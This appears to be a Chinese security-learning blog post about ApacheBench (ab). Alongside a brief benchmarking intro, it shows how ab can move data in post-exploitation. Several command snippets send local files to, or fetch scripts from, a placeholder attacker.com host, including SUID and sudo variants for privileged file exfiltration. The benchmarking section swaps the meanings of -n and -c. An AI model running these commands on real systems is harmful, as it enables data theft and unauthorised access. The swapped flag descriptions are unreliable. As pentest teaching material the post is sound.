一、ab命令概述(Web服务器性能测试)
二、本地绕过的四种基本方式
2.1文件上传(File upload)
2.2 文件下载(File download)
2.3 SUID
2.4 Sudo
一、ab命令概述
ab代表“Apache Bench”,该命令是Apache超文本传输协议(HTTP)服务器的性能测试工具,可以使用该命令来测试当前所安装的Apache服务器的运行性能,显示Apache服务器每秒可以处理多少个HTTP请求。(补充:ab命令是Apache服务器自带的一款功能强大的测试工具,所属包为apache2-utils)
Debian系统命令行下载:apt install apache2-utils
Centos系统命令行下载: yum -y install httpd-tools
下载完成后输入ab -V检查是否成功下载和当前版本
This is ApacheBench, Version 2.3 <$Revision: 1843412 $>
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Licensed to The Apache Software Foundation, http://www.apache.org/
二、本地绕过的四种基本方式
2.1 文件上传
基本原理如下图所示
一般来说,存在文件上传漏洞的网站都有类似的交互框,即客户输入一些内容,服务器根据输入的内容在本地或其它服务器上进行查找,最后返回用户需要的内容。
ab命令绕过的骚操作
# Upload local file via HTTP POST request.通过HTTP协议的POST请求上传文件
URL=http://attacker.com/ # 要进行文件上传的网站(一般是靶机)
LFILE=file_to_send # 本地要上传的文件(一般是PHP反弹脚本)
ab -p $LFILE $URL # -p参数(上传包含了POST数据的文件)
2.2文件下载
有的时候,在进入后台服务器的时候,可能需要从攻击机上下载一些搜集信息的脚本,除了curl、apt 、wget、 yum等常见下载命令外,ab有的时候也会是一个不错的选择。
# 使用前提:攻击机提前开启服务器:python -m SimpleHTTPServer 8080
URL=http://attacker.com/file_to_download # attacker.com=攻击机IP
ab -v2 $URL -v参数,设置显示返回信息的详细程度,
# 2显示警告信息,3显示响应代码(404、303等),4显示头部信息
2.3 SUID
suid的特殊作用:可以基于二进制命令绕过基础权限体系,比如可以修改没有权限的文件。
# 假设:服务器禁止上传文件或者入侵进后台服务器后,无法通过脚本反弹shell
# 那么该命令就十分有用
# Upload local file via HTTP POST request.
# 通过HTTP POST请求上传本地文件
sudo install -m =xs $(which ab) .
URL=http://attacker.com/
LFILE=file_to_send
./ab -p $LFILE $URL
2.4 Sudo
如果sudo允许二进制文件作为超级用户运行,它可以提升权限,并可用于访问文件系统、升级或维护特权访问。
通过HTTP POST请求上传本地文件。
URL=http://attacker.com/
LFILE=file_to_send
sudo ab -p $LFILE $URL
补充基础用法:测试远程apache主机(这才是诞生的主要原因)
假设你想同步并发模拟10个点击链接的请求并执行100次,可以使用参数“-n”和“-c”来指定,具体命令如下:
-n 同时链接请求数(一个网站同时被多个用户点击的次数)
-c 执行次数(服务器反应并且执行的次数)
ab -c 10 -n 100 "http://editor.csdn.net/"
参考文章:https://gtfobins.github.io/gtfobins/ab/
本研究仅供学习研究,请勿用于非法用途。